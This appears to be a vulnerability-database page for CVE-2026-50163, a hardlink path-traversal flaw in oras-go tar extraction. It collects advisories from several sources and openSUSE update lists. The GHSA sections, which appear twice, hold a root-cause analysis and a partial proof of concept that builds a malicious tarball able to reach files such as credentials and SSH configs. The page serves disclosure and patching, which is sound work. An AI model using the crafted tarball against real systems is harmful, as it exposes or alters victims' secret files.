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CVE-2026-50163

oras-go: Hardlink entry with relative Linkname escapes extract dir via process CWD resolution in `oras-go` tar extraction

7.1 HighFix available

oras-go is a Go library for managing OCI artifacts. Prior to 2.6.2, ensureLinkPath in content/file/utils.go:262-275 validates a hardlink target relative to the extract base but returns the unresolved target, causing os.Link("victim.secret", "<extract_base>/payload.tar.gz/evil_cwd_link") to resolve header.Linkname against the process current working directory for a Typeflag=TypeLink entry such as Name=payload.tar.gz/evil_cwd_link and Linkname="victim.secret" with io.deis.oras.content.unpack: "true", which can expose or tamper with files such as .env, .git/config, .aws/credentials, and ~/.ssh/config. This issue is fixed in version 2.6.2.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
Required

What an attacker can affect

Confidentiality
High
Integrity
Low
Availability
None

Exploit likelihood

0.40%Unchanged since Jul 18, 2026
90%50%10%1%

What each source reports

CVE List Score used 7.1

oras-go: Hardlink entry with relative Linkname escapes extract dir via process CWD resolution in `oras-go` tar extraction

oras-go is a Go library for managing OCI artifacts. Prior to 2.6.2, ensureLinkPath in content/file/utils.go:262-275 validates a hardlink target relative to the extract base but returns the unresolved target, causing os.Link("victim.secret", "<extract_base>/payload.tar.gz/evil_cwd_link") to resolve header.Linkname against the process current working directory for a Typeflag=TypeLink entry such as Name=payload.tar.gz/evil_cwd_link and Linkname="victim.secret" with io.deis.oras.content.unpack: "true", which can expose or tamper with files such as .env, .git/config, .aws/credentials, and ~/.ssh/config. This issue is fixed in version 2.6.2.

Record
CVE-2026-50163
CVSS 3.1
7.1 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N
Weakness
CWE-22, CWE-59
Updated
2026-11-02
EUVDEUVD-2026-45297 7.1

oras-go is a Go library for managing OCI artifacts. Prior to 2.6.2, ensureLinkPath in content/file/utils.go:262-275 validates a hardlink target relative to the extract base but returns the unresolved target, causing os.Link("victim.secret", "<extract_base>/payload.tar.gz/evil_cwd_link") to resolve header.Linkname against the process current working directory for a Typeflag=TypeLink entry such as Name=payload.tar.gz/evil_cwd_link and Linkname="victim.secret" with io.deis.oras.content.unpack: "true", which can expose or tamper with files such as .env, .git/config, .aws/credentials, and ~/.ssh/config. This issue is fixed in version 2.6.2.

Record
EUVD-2026-45297
CVSS 3.1
7.1 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-fxhp-mv3v-67qp 7.1

`oras-go` tar extraction: Hardlink entry with relative Linkname escapes extract dir via process CWD resolution

Root cause

The tar-extraction helper ensureLinkPath at content/file/utils.go:262-275 validates that a hardlink's target resolves inside the extract base, but then returns the original unresolved target string back to the caller:

func ensureLinkPath(baseAbs, baseRel, link, target string) (string, error) {
    path := target
    if !filepath.IsAbs(target) {
        path = filepath.Join(filepath.Dir(link), target)  // resolved FOR VALIDATION
    }
    if _, err := resolveRelToBase(baseAbs, baseRel, path); err != nil {
        return "", err
    }
    return target, nil   // <-- returns the ORIGINAL target, not the validated path
}

The caller for TypeLink hardlinks then does:

case tar.TypeLink:
    var target string
    if target, err = ensureLinkPath(dirPath, dirName, filePath, header.Linkname); err == nil {
        err = os.Link(target, filePath)
    }

os.Link(oldname, newname) wraps the link(2) system call. From the link(2) man page:

oldpath and newpath are interpreted relative to the current working directory of the calling process.

So when target (i.e., header.Linkname) is a relative path, os.Link resolves it against the process's current working directory, not against filepath.Dir(link) as the validation assumed.

Attack

An attacker who controls an OCI-compliant registry (or any artifact source the victim consumes via oras pull) crafts a tarball layer with:

  • A regular file: payload.tar.gz/README.txt.
  • A hardlink entry: Typeflag=TypeLink, Name=payload.tar.gz/evil_cwd_link, Linkname="victim.secret" (relative).

and marks the layer descriptor with io.deis.oras.content.unpack: "true" (a standard annotation that tells oras-go to auto-extract).

When a victim runs oras pull (or any Go code using content.File), the extraction:

  1. Validates payload.tar.gz/evil_cwd_link — passes.
  2. Calls ensureLinkPath(dirPath, "payload.tar.gz", filePath, "victim.secret"):
    • path = filepath.Join(filepath.Dir(filePath), "victim.secret") = <extract_base>/payload.tar.gz/victim.secret → inside base → validation passes.
    • Returns target = "victim.secret" (NOT path).
  3. Calls os.Link("victim.secret", "<extract_base>/payload.tar.gz/evil_cwd_link").
  4. link(2) resolves relative oldname="victim.secret" against process CWD → creates a hardlink inside the extract tree pointing to <invoker_CWD>/victim.secret.

The resulting hardlink and the CWD file share an inode — reading one reads the other; writing to one writes to the other.

Proof of Concept

Tested on Ubuntu 24.04.4 LTS with oras CLI v1.3.0 (SHA-256 040e140304b7dbdd9b40dacd798e2303cea44ad84eeb210750afdf15f1dcf8b4, downloaded from https://github.com/oras-project/oras/releases/download/v1.3.0/oras_1.3.0_linux_amd64.tar.gz).

Reproduction script (standalone, ~50 lines) attached. Summary of key steps:

# 1. Place victim file in the future CWD.
mkdir -p cwd-space extract
echo "TOP SECRET FROM CWD" > cwd-space/victim.secret

# 2. Craft malicious tarball with a TypeLink entry whose Linkname is RELATIVE.
python3 -c '
import tarfile, io, os
with tarfile.open("cwd-space/payload.tar.gz", "w:gz", format=tarfile.GNU_FORMAT) as t:
    info = tarfile.TarInfo(name="payload.tar.gz/README.txt")
    c = b"pulled from registry"; info.size = len(c); info.mode = 0o644
    info.uid = os.getuid(); info.gid = os.getgid()
    t.addfile(info, io.BytesIO(c))

    link = tarfile.TarInfo(name="payload.tar.gz/evil_cwd_link")
    link.type = tarfile.LNKTYPE
    link.linkname = "victim.secret"   # RELATIVE
    link.mode = 0o644; link.uid = os.getuid(); link.gid = os.getgid()
    t.addfile(link)
'

# 3. Push to OCI layout, patch in the unpack annotation, pull from cwd-space.
(cd cwd-space && oras push --oci-layout ../layout:v1 \
    payload.tar.gz:application/vnd.oci.image.layer.v1.tar+gzip)
# ...…
Record
GHSA-fxhp-mv3v-67qp
CVSS 3.1
7.1 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N
Weakness
CWE-22, CWE-59
Updated
2026-11-02
NVD 7.1

oras-go is a Go library for managing OCI artifacts. Prior to 2.6.2, ensureLinkPath in content/file/utils.go:262-275 validates a hardlink target relative to the extract base but returns the unresolved target, causing os.Link("victim.secret", "<extract_base>/payload.tar.gz/evil_cwd_link") to resolve header.Linkname against the process current working directory for a Typeflag=TypeLink entry such as Name=payload.tar.gz/evil_cwd_link and Linkname="victim.secret" with io.deis.oras.content.unpack: "true", which can expose or tamper with files such as .env, .git/config, .aws/credentials, and ~/.ssh/config. This issue is fixed in version 2.6.2.

Record
CVE-2026-50163
CVSS 3.1
7.1 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N
Weakness
CWE-22, CWE-59
Updated
2026-11-02
OSV 7.1

oras-go: Hardlink entry with relative Linkname escapes extract dir via process CWD resolution in `oras-go` tar extraction

oras-go is a Go library for managing OCI artifacts. Prior to 2.6.2, ensureLinkPath in content/file/utils.go:262-275 validates a hardlink target relative to the extract base but returns the unresolved target, causing os.Link("victim.secret", "<extract_base>/payload.tar.gz/evil_cwd_link") to resolve header.Linkname against the process current working directory for a Typeflag=TypeLink entry such as Name=payload.tar.gz/evil_cwd_link and Linkname="victim.secret" with io.deis.oras.content.unpack: "true", which can expose or tamper with files such as .env, .git/config, .aws/credentials, and ~/.ssh/config. This issue is fixed in version 2.6.2.

Record
CVE-2026-50163
CVSS 3.1
7.1 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N
Weakness
CWE-22, CWE-59
Updated
2026-11-02
OSVDEBIAN-CVE-2026-50163 7.1

oras-go is a Go library for managing OCI artifacts. Prior to 2.6.2, ensureLinkPath in content/file/utils.go:262-275 validates a hardlink target relative to the extract base but returns the unresolved target, causing os.Link("victim.secret", "<extract_base>/payload.tar.gz/evil_cwd_link") to resolve header.Linkname against the process current working directory for a Typeflag=TypeLink entry such as Name=payload.tar.gz/evil_cwd_link and Linkname="victim.secret" with io.deis.oras.content.unpack: "true", which can expose or tamper with files such as .env, .git/config, .aws/credentials, and ~/.ssh/config. This issue is fixed in version 2.6.2.

Record
DEBIAN-CVE-2026-50163
CVSS 3.1
7.1 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N
Updated
2026-11-02
Show 15 moreShow less
OSVGHSA-fxhp-mv3v-67qp 7.1

`oras-go` tar extraction: Hardlink entry with relative Linkname escapes extract dir via process CWD resolution

Root cause

The tar-extraction helper ensureLinkPath at content/file/utils.go:262-275 validates that a hardlink's target resolves inside the extract base, but then returns the original unresolved target string back to the caller:

func ensureLinkPath(baseAbs, baseRel, link, target string) (string, error) {
    path := target
    if !filepath.IsAbs(target) {
        path = filepath.Join(filepath.Dir(link), target)  // resolved FOR VALIDATION
    }
    if _, err := resolveRelToBase(baseAbs, baseRel, path); err != nil {
        return "", err
    }
    return target, nil   // <-- returns the ORIGINAL target, not the validated path
}

The caller for TypeLink hardlinks then does:

case tar.TypeLink:
    var target string
    if target, err = ensureLinkPath(dirPath, dirName, filePath, header.Linkname); err == nil {
        err = os.Link(target, filePath)
    }

os.Link(oldname, newname) wraps the link(2) system call. From the link(2) man page:

oldpath and newpath are interpreted relative to the current working directory of the calling process.

So when target (i.e., header.Linkname) is a relative path, os.Link resolves it against the process's current working directory, not against filepath.Dir(link) as the validation assumed.

Attack

An attacker who controls an OCI-compliant registry (or any artifact source the victim consumes via oras pull) crafts a tarball layer with:

  • A regular file: payload.tar.gz/README.txt.
  • A hardlink entry: Typeflag=TypeLink, Name=payload.tar.gz/evil_cwd_link, Linkname="victim.secret" (relative).

and marks the layer descriptor with io.deis.oras.content.unpack: "true" (a standard annotation that tells oras-go to auto-extract).

When a victim runs oras pull (or any Go code using content.File), the extraction:

  1. Validates payload.tar.gz/evil_cwd_link — passes.
  2. Calls ensureLinkPath(dirPath, "payload.tar.gz", filePath, "victim.secret"):
    • path = filepath.Join(filepath.Dir(filePath), "victim.secret") = <extract_base>/payload.tar.gz/victim.secret → inside base → validation passes.
    • Returns target = "victim.secret" (NOT path).
  3. Calls os.Link("victim.secret", "<extract_base>/payload.tar.gz/evil_cwd_link").
  4. link(2) resolves relative oldname="victim.secret" against process CWD → creates a hardlink inside the extract tree pointing to <invoker_CWD>/victim.secret.

The resulting hardlink and the CWD file share an inode — reading one reads the other; writing to one writes to the other.

Proof of Concept

Tested on Ubuntu 24.04.4 LTS with oras CLI v1.3.0 (SHA-256 040e140304b7dbdd9b40dacd798e2303cea44ad84eeb210750afdf15f1dcf8b4, downloaded from https://github.com/oras-project/oras/releases/download/v1.3.0/oras_1.3.0_linux_amd64.tar.gz).

Reproduction script (standalone, ~50 lines) attached. Summary of key steps:

# 1. Place victim file in the future CWD.
mkdir -p cwd-space extract
echo "TOP SECRET FROM CWD" > cwd-space/victim.secret

# 2. Craft malicious tarball with a TypeLink entry whose Linkname is RELATIVE.
python3 -c '
import tarfile, io, os
with tarfile.open("cwd-space/payload.tar.gz", "w:gz", format=tarfile.GNU_FORMAT) as t:
    info = tarfile.TarInfo(name="payload.tar.gz/README.txt")
    c = b"pulled from registry"; info.size = len(c); info.mode = 0o644
    info.uid = os.getuid(); info.gid = os.getgid()
    t.addfile(info, io.BytesIO(c))

    link = tarfile.TarInfo(name="payload.tar.gz/evil_cwd_link")
    link.type = tarfile.LNKTYPE
    link.linkname = "victim.secret"   # RELATIVE
    link.mode = 0o644; link.uid = os.getuid(); link.gid = os.getgid()
    t.addfile(link)
'

# 3. Push to OCI layout, patch in the unpack annotation, pull from cwd-space.
(cd cwd-space && oras push --oci-layout ../layout:v1 \
    payload.tar.gz:application/vnd.oci.image.layer.v1.tar+gzip)
# ...…
Record
GHSA-fxhp-mv3v-67qp
CVSS 3.1
7.1 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N
Weakness
CWE-22, CWE-59
Updated
2026-11-02
OSVUBUNTU-CVE-2026-50163 7.1

oras-go is a Go library for managing OCI artifacts. Prior to 2.6.2, ensureLinkPath in content/file/utils.go:262-275 validates a hardlink target relative to the extract base but returns the unresolved target, causing os.Link("victim.secret", "<extract_base>/payload.tar.gz/evil_cwd_link") to resolve header.Linkname against the process current working directory for a Typeflag=TypeLink entry such as Name=payload.tar.gz/evil_cwd_link and Linkname="victim.secret" with io.deis.oras.content.unpack: "true", which can expose or tamper with files such as .env, .git/config, .aws/credentials, and ~/.ssh/config. This issue is fixed in version 2.6.2.

Record
UBUNTU-CVE-2026-50163
CVSS 3.1
7.1 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N
Updated
2026-11-02
OSVGO-2026-5880 No score

Hardlink path traversal during tar extraction in oras.land/oras-go

Hardlink path traversal during tar extraction in oras.land/oras-go

Record
GO-2026-5880
Updated
2026-11-02
OSVopenSUSE-SU-2026:11297-1 No score

oras-1.3.3-2.1 on GA media

These are all security issues fixed in the oras-1.3.3-2.1 package on the GA media of openSUSE Tumbleweed.

Record
openSUSE-SU-2026:11297-1
Updated
2026-11-02
OSVopenSUSE-SU-2026:11575-1 No score

helm-4.2.4-1.1 on GA media

These are all security issues fixed in the helm-4.2.4-1.1 package on the GA media of openSUSE Tumbleweed.

Record
openSUSE-SU-2026:11575-1
Updated
2026-11-02
OSVopenSUSE-SU-2026:11676-1 No score

trivy-0.74.0-2.1 on GA media

These are all security issues fixed in the trivy-0.74.0-2.1 package on the GA media of openSUSE Tumbleweed.

Record
openSUSE-SU-2026:11676-1
Updated
2026-11-02
OSVopenSUSE-SU-2026:21551-1 No score

Security update for govulncheck-vulndb

This update for govulncheck-vulndb fixes the following issues:

  • Update to version 0.0.20260727T201416 2026-07-27T20:14:16Z (jsc#PED-11136):

Go CVE Numbering Authority IDs added or updated with aliases:

  • GO-2026-5046 CVE-2026-46385 GHSA-w8j3-pq8g-8m7w
  • GO-2026-5047 CVE-2026-46384 GHSA-mc57-h6j3-3hmv
  • GO-2026-5048 GHSA-mx64-mj3q-7prj
  • GO-2026-5051
  • GO-2026-5069 CVE-2026-30246 GHSA-35hp-hqmv-8qg8
  • GO-2026-5074 CVE-2026-45022 GHSA-389r-gv7p-r3rp
  • GO-2026-5105 CVE-2026-41506 GHSA-3xc5-wrhm-f963
  • GO-2026-5116 CVE-2026-44517 GHSA-49p4-px3h-rq49
  • GO-2026-5158 CVE-2026-41178 GHSA-5wrp-cwcj-q835
  • GO-2026-5198 CVE-2026-41642 GHSA-7235-89m6-f4px
  • GO-2026-5208 CVE-2026-40890 GHSA-77fj-vx54-gvh7
  • GO-2026-5266 CVE-2026-41643 GHSA-8rxh-r2p6-7f2q
  • GO-2026-5309 GHSA-c3wq-j5vh-68rc
  • GO-2026-5327 CVE-2026-2303 GHSA-cp6g-7hqx-qxhp
  • GO-2026-5336 CVE-2026-45571 GHSA-crhj-59gh-8x96
  • GO-2026-5346 CVE-2026-52845 GHSA-f59h-q822-g45g
  • GO-2026-5408 GHSA-gx7w-56w6-g48x
  • GO-2026-5426 CVE-2026-39883 GHSA-hfvc-g4fc-pqhx
  • GO-2026-5435 CVE-2026-35206 GHSA-hr2v-4r36-88hr
  • GO-2026-5452 CVE-2026-34783 GHSA-j6v5-g24h-vg4j
  • GO-2026-5463 CVE-2026-8276 GHSA-jcqv-2g3v-gm88
  • GO-2026-5471 CVE-2026-6993 GHSA-jj45-xvq5-rhh9
  • GO-2026-5490 CVE-2026-44740 GHSA-m3xc-h892-ggx6
  • GO-2026-5492 CVE-2026-45135 GHSA-m675-2p33-xv9g
  • GO-2026-5506 CVE-2026-29181 GHSA-mh2q-q3fh-2475
  • GO-2026-5525 CVE-2026-42285 GHSA-p3w2-64xm-833j
  • GO-2026-5543 CVE-2026-32952 GHSA-pjcq-xvwq-hhpj
  • GO-2026-5548 CVE-2026-44166 GHSA-pq7p-mc74-g65w
  • GO-2026-5566 CVE-2026-35205 GHSA-q5jf-9vfq-h4h7
  • GO-2026-5569 GHSA-q76j-gcg9-vxc6
  • GO-2026-5585 CVE-2026-42554 GHSA-qjv7-627w-8qjv
  • GO-2026-5593 CVE-2026-40611 GHSA-qqx8-2xmm-jrv8
  • GO-2026-5595 CVE-2026-52844 GHSA-qrp7-cvwr-j2c6
  • GO-2026-5597 CVE-2026-44973 GHSA-qw64-3x98-g7q2
  • GO-2026-5606 GHSA-r46f-3rpw-hxrv
  • GO-2026-5617 CVE-2026-42306 GHSA-rg2x-37c3-w2rh
  • GO-2026-5660 CVE-2026-52846 GHSA-vcc4-2c75-vc9v
  • GO-2026-5666 CVE-2026-35204 GHSA-vmx8-mqv2-9gmg
  • GO-2026-5684 CVE-2026-42328 GHSA-w239-58x2-q8p5
  • GO-2026-5693 GHSA-w5pp-99ch-qj29
  • GO-2026-5730 GHSA-wwhq-w58m-w29c
  • GO-2026-5736 CVE-2026-44283 GHSA-x35m-3gp4-4fh5
  • GO-2026-5740 CVE-2026-44301 GHSA-x597-9fr4-5857
  • GO-2026-5748 CVE-2026-7482 GHSA-x8qc-fggm-mpqg
  • GO-2026-5750 CVE-2026-7020 GHSA-x99g-8v8j-25j2
  • GO-2026-5774 GHSA-3fxj-6jh8-hvhx
  • GO-2026-5775 GHSA-9g5q-2w5x-hmxf
  • GO-2026-5777 GHSA-rjr7-jggh-pgcp
  • GO-2026-5781
  • GO-2026-5841 GHSA-259r-337f-4rfw
  • GO-2026-5879 CVE-2026-50162 GHSA-8xwf-rjm4-xvhv
  • GO-2026-5880 CVE-2026-50163 GHSA-fxhp-mv3v-67qp
  • GO-2026-5882 CVE-2026-50151 GHSA-jxpm-75mh-9fp7
  • GO-2026-5884 GHSA-vh4v-2xq2-g5cg
  • GO-2026-5885 CVE-2026-48978 GHSA-xf85-363p-868w
  • GO-2026-5886 CVE-2026-44332 GHSA-g5vh-55hw-rxm8
  • GO-2026-5887 CVE-2026-45045 GHSA-gcfq-8gqf-4876
  • GO-2026-5912 CVE-2026-53624 GHSA-gv83-gqw6-9j2c
  • GO-2026-5954 CVE-2026-49838 GHSA-frrj-87jh-2772
  • GO-2026-5955 CVE-2026-49837 GHSA-gjrg-jjr3-56cm
  • GO-2026-5960 CVE-2026-54063 GHSA-h69g-9hx6-f3v4
  • GO-2026-5971 CVE-2026-37462 GHSA-pw7p-7fqv-hpj8
  • GO-2026-5983 CVE-2026-54448 GHSA-q3fv-x8vg-qqm4
  • GO-2026-6000 CVE-2026-50274 GHSA-74j5-xf3v-crq8
  • GO-2026-6058 CVE-2026-58442 GHSA-h2x6-g7q6-344v
  • GO-2026-6059 CVE-2026-58431 GHSA-h56g-4qw7-2mxg
  • GO-2026-6060 CVE-2026-58426 GHSA-hg5r-vq93-9fv6
  • GO-2026-6061 GHSA-hrxh-6v49-42gf
  • GO-2026-6062 CVE-2026-58434 GHSA-j2w3-9c3r-g83q
  • GO-2026-6063 CVE-2026-58417 GHSA-jr5x-6h83-wrxf
  • GO-2026-6064 CVE-2026-55984 GHSA-m932-crvm-gcp5
  • GO-2026-6065 CVE-2026-55982 GHSA-mg4f-x9v4-6h2p
  • GO-2026-6066 CVE-2026-58507 GHSA-p4mj-98mv-xq26
  • GO-2026-6067 CVE-2026-58445 GHSA-pgqf-926r-548m
  • GO-2026-6068 CVE-2026-58427 GHSA-prr9-9mp4-5gp2
  • GO-2026-6069 CVE-2026-58510 GHSA-q423-49rw-g9mh
  • GO-2026-6070 CVE-2026-58432 GHSA-q9pg-jj6x-j9p6
  • GO-2026-6071 CVE-2026-59766 GHSA-qf2f-qh6p-7v89
  • GO-2026-6072 CVE-2026-56750 GHSA-rgv6-xp99-6mgj
  • GO-2026-6073 CVE-2026-58435…
Record
openSUSE-SU-2026:21551-1
Updated
2026-11-02
OSVopenSUSE-SU-2026:21801-1 No score

Security update for trivy

This update for trivy fixes the following issues:

  • CVE-2026-24122: github.com/sigstore/cosign/v2/pkg/cosign: improper validation of certificates that outlive expired CA certificates (bsc#1258543).
  • CVE-2026-37236: github.com/grpc-ecosystem/grpc-gateway/v2/runtime: client can override the HTTP method of a POST request through the X-HTTP-Method-Override header and bypass established access control (bsc#1278002).
  • CVE-2026-41178: go.opentelemetry.io/otel/baggage, go.opentelemetry.io/otel/propagation: no rejection of raw-length headers in baggage parsing allows for DoS via oversized inputs (bsc#1276745).
  • CVE-2026-50163: oras-go: Information disclosure and arbitrary file access via crafted tarball hardlinks (bsc#1278702).
  • CVE-2026-56854,CVE-2026-56855,CVE-2026-78662: golang.org/x/crypto/ssh: authentication bypass and deadlocks in the crypto/ssh library (bsc#1278624).
  • CVE-2026-84303: github.com/grpc/grpc-go: xDS RBAC HTTP filter implementation issue allows for bypass of authorization policies via mixed-case or canonical-case header matches (bsc#1279390).
  • CVE-2026-84304: github.com/grpc/grpc-go: heap memory exhaustion via HTTP/2 DATA frame fragmentation (bsc#1279395).
  • CVE-2026-84445: google.golang.org/grpc: DoS via crash due to missing :authority and Host headers in gRPC-Go xDS servers (bsc#1279392).
Record
openSUSE-SU-2026:21801-1
Updated
2026-11-02
OSVopenSUSE-SU-2026:21983-1 No score

Security update for helm

This update for helm fixes the following issues:

  • CVE-2026-33814: golang.org/x/net/http2: infinite loop in HTTP/2 transport when given bad SETTINGS_MAX_FRAME_SIZE (bsc#1265758).
  • CVE-2026-35204: github.com/helm/helm: helm.sh/helm/v4: Helm: Arbitrary file write via specially crafted plugin (bsc#1261939).
  • CVE-2026-35205: github.com/helm/helm: helm.sh/helm/v4: Helm: Arbitrary code execution due to insufficient plugin provenance verification (bsc#1261935).
  • CVE-2026-35206: github.com/helm/helm: Helm: Files written to unexpected directory via specially crafted Chart (bsc#1261938).
  • CVE-2026-41178: go.opentelemetry.io/otel/baggage,go.opentelemetry.io/otel/propagation: no rejection of raw-length headers in baggage parsing allows for DoS via oversized inputs (bsc#1276510).
  • CVE-2026-41888: github.com/distribution/distribution/v3: tag deletion bypasses the storage.delete.enabled configuration (bsc#1265428).
  • CVE-2026-48978: oras.land/oras-go/v2/registry/remote/auth: Malicious registry can hijack Bearer token realm to exfiltrate credentials and refresh tokens (bsc#1270127).
  • CVE-2026-50151: oras-go: Credential forwarding via unvalidated Location header during blob upload (bsc#1271660).
  • CVE-2026-50163: oras-go: Information disclosure and arbitrary file access via crafted tarball hardlinks (bsc#1276327).
  • CVE-2026-56852: golang.org/x/text/unicode/norm: infinite loop on truncated/invalid UTF-8 input (bsc#1271997).
  • CVE-2026-56854: golang.org/x/crypto/ssh: source-address restriction bypassed in 5 callback families (bsc#1281426).
  • CVE-2026-56855: golang.org/x/crypto/ssh: prevent DoS on deadlocked established channel (bsc#1281426).
  • CVE-2026-56864: x/mod/sumdb: ignore unrelated, unauthenticated hashes in Lookup (bsc#1275025).
  • CVE-2026-56865: x/mod/sumdb/tlog: fix transparency log tile verification bypass (bsc#1275024).
  • CVE-2026-78662: golang.org/x/crypto/ssh: prevent DoS on deadlocked undecided channel (bsc#1281426).
  • CVE-2026-81871: go.opentelemetry.io/otel/exporters/otlp/otlplog/otlploggrpc: OpenTelemetry-Go: TLS certificate bypass allows log telemetry interception and alteration (bsc#1281468).
  • CVE-2026-81872: go.opentelemetry.io/otel/sdk/log: OpenTelemetry-Go: Denial of Service via attacker-driven log emission (bsc#1281469).
  • CVE-2026-85732: oras.land/oras-go/v2: blind SSRF via unvalidated Link header URL in pagination allows internal network probing (bsc#1281112).
  • gRPC-Go: several issues affecting the xDS RBAC authorization engine and the HTTP/2 transport server implementation (bsc#1276514).
Record
openSUSE-SU-2026:21983-1
Updated
2026-11-02
OSVROOT-APP-GOBINARY-CVE-2026-50163 No score

CVE-2026-50163 in oras.land/oras-go/v2 - Patched by Root

Root has patched CVE-2026-50163 in the oras.land/oras-go/v2 package for Root:Go. Multiple fixed versions available.

Record
ROOT-APP-GOBINARY-CVE-2026-50163
Updated
2026-11-02
OSVSUSE-SU-2026:23216-1 No score

Security update for govulncheck-vulndb

This update for govulncheck-vulndb fixes the following issues:

  • Update to version 0.0.20260727T201416 2026-07-27T20:14:16Z (jsc#PED-11136):

Go CVE Numbering Authority IDs added or updated with aliases:

  • GO-2026-5046 CVE-2026-46385 GHSA-w8j3-pq8g-8m7w
  • GO-2026-5047 CVE-2026-46384 GHSA-mc57-h6j3-3hmv
  • GO-2026-5048 GHSA-mx64-mj3q-7prj
  • GO-2026-5051
  • GO-2026-5069 CVE-2026-30246 GHSA-35hp-hqmv-8qg8
  • GO-2026-5074 CVE-2026-45022 GHSA-389r-gv7p-r3rp
  • GO-2026-5105 CVE-2026-41506 GHSA-3xc5-wrhm-f963
  • GO-2026-5116 CVE-2026-44517 GHSA-49p4-px3h-rq49
  • GO-2026-5158 CVE-2026-41178 GHSA-5wrp-cwcj-q835
  • GO-2026-5198 CVE-2026-41642 GHSA-7235-89m6-f4px
  • GO-2026-5208 CVE-2026-40890 GHSA-77fj-vx54-gvh7
  • GO-2026-5266 CVE-2026-41643 GHSA-8rxh-r2p6-7f2q
  • GO-2026-5309 GHSA-c3wq-j5vh-68rc
  • GO-2026-5327 CVE-2026-2303 GHSA-cp6g-7hqx-qxhp
  • GO-2026-5336 CVE-2026-45571 GHSA-crhj-59gh-8x96
  • GO-2026-5346 CVE-2026-52845 GHSA-f59h-q822-g45g
  • GO-2026-5408 GHSA-gx7w-56w6-g48x
  • GO-2026-5426 CVE-2026-39883 GHSA-hfvc-g4fc-pqhx
  • GO-2026-5435 CVE-2026-35206 GHSA-hr2v-4r36-88hr
  • GO-2026-5452 CVE-2026-34783 GHSA-j6v5-g24h-vg4j
  • GO-2026-5463 CVE-2026-8276 GHSA-jcqv-2g3v-gm88
  • GO-2026-5471 CVE-2026-6993 GHSA-jj45-xvq5-rhh9
  • GO-2026-5490 CVE-2026-44740 GHSA-m3xc-h892-ggx6
  • GO-2026-5492 CVE-2026-45135 GHSA-m675-2p33-xv9g
  • GO-2026-5506 CVE-2026-29181 GHSA-mh2q-q3fh-2475
  • GO-2026-5525 CVE-2026-42285 GHSA-p3w2-64xm-833j
  • GO-2026-5543 CVE-2026-32952 GHSA-pjcq-xvwq-hhpj
  • GO-2026-5548 CVE-2026-44166 GHSA-pq7p-mc74-g65w
  • GO-2026-5566 CVE-2026-35205 GHSA-q5jf-9vfq-h4h7
  • GO-2026-5569 GHSA-q76j-gcg9-vxc6
  • GO-2026-5585 CVE-2026-42554 GHSA-qjv7-627w-8qjv
  • GO-2026-5593 CVE-2026-40611 GHSA-qqx8-2xmm-jrv8
  • GO-2026-5595 CVE-2026-52844 GHSA-qrp7-cvwr-j2c6
  • GO-2026-5597 CVE-2026-44973 GHSA-qw64-3x98-g7q2
  • GO-2026-5606 GHSA-r46f-3rpw-hxrv
  • GO-2026-5617 CVE-2026-42306 GHSA-rg2x-37c3-w2rh
  • GO-2026-5660 CVE-2026-52846 GHSA-vcc4-2c75-vc9v
  • GO-2026-5666 CVE-2026-35204 GHSA-vmx8-mqv2-9gmg
  • GO-2026-5684 CVE-2026-42328 GHSA-w239-58x2-q8p5
  • GO-2026-5693 GHSA-w5pp-99ch-qj29
  • GO-2026-5730 GHSA-wwhq-w58m-w29c
  • GO-2026-5736 CVE-2026-44283 GHSA-x35m-3gp4-4fh5
  • GO-2026-5740 CVE-2026-44301 GHSA-x597-9fr4-5857
  • GO-2026-5748 CVE-2026-7482 GHSA-x8qc-fggm-mpqg
  • GO-2026-5750 CVE-2026-7020 GHSA-x99g-8v8j-25j2
  • GO-2026-5774 GHSA-3fxj-6jh8-hvhx
  • GO-2026-5775 GHSA-9g5q-2w5x-hmxf
  • GO-2026-5777 GHSA-rjr7-jggh-pgcp
  • GO-2026-5781
  • GO-2026-5841 GHSA-259r-337f-4rfw
  • GO-2026-5879 CVE-2026-50162 GHSA-8xwf-rjm4-xvhv
  • GO-2026-5880 CVE-2026-50163 GHSA-fxhp-mv3v-67qp
  • GO-2026-5882 CVE-2026-50151 GHSA-jxpm-75mh-9fp7
  • GO-2026-5884 GHSA-vh4v-2xq2-g5cg
  • GO-2026-5885 CVE-2026-48978 GHSA-xf85-363p-868w
  • GO-2026-5886 CVE-2026-44332 GHSA-g5vh-55hw-rxm8
  • GO-2026-5887 CVE-2026-45045 GHSA-gcfq-8gqf-4876
  • GO-2026-5912 CVE-2026-53624 GHSA-gv83-gqw6-9j2c
  • GO-2026-5954 CVE-2026-49838 GHSA-frrj-87jh-2772
  • GO-2026-5955 CVE-2026-49837 GHSA-gjrg-jjr3-56cm
  • GO-2026-5960 CVE-2026-54063 GHSA-h69g-9hx6-f3v4
  • GO-2026-5971 CVE-2026-37462 GHSA-pw7p-7fqv-hpj8
  • GO-2026-5983 CVE-2026-54448 GHSA-q3fv-x8vg-qqm4
  • GO-2026-6000 CVE-2026-50274 GHSA-74j5-xf3v-crq8
  • GO-2026-6058 CVE-2026-58442 GHSA-h2x6-g7q6-344v
  • GO-2026-6059 CVE-2026-58431 GHSA-h56g-4qw7-2mxg
  • GO-2026-6060 CVE-2026-58426 GHSA-hg5r-vq93-9fv6
  • GO-2026-6061 GHSA-hrxh-6v49-42gf
  • GO-2026-6062 CVE-2026-58434 GHSA-j2w3-9c3r-g83q
  • GO-2026-6063 CVE-2026-58417 GHSA-jr5x-6h83-wrxf
  • GO-2026-6064 CVE-2026-55984 GHSA-m932-crvm-gcp5
  • GO-2026-6065 CVE-2026-55982 GHSA-mg4f-x9v4-6h2p
  • GO-2026-6066 CVE-2026-58507 GHSA-p4mj-98mv-xq26
  • GO-2026-6067 CVE-2026-58445 GHSA-pgqf-926r-548m
  • GO-2026-6068 CVE-2026-58427 GHSA-prr9-9mp4-5gp2
  • GO-2026-6069 CVE-2026-58510 GHSA-q423-49rw-g9mh
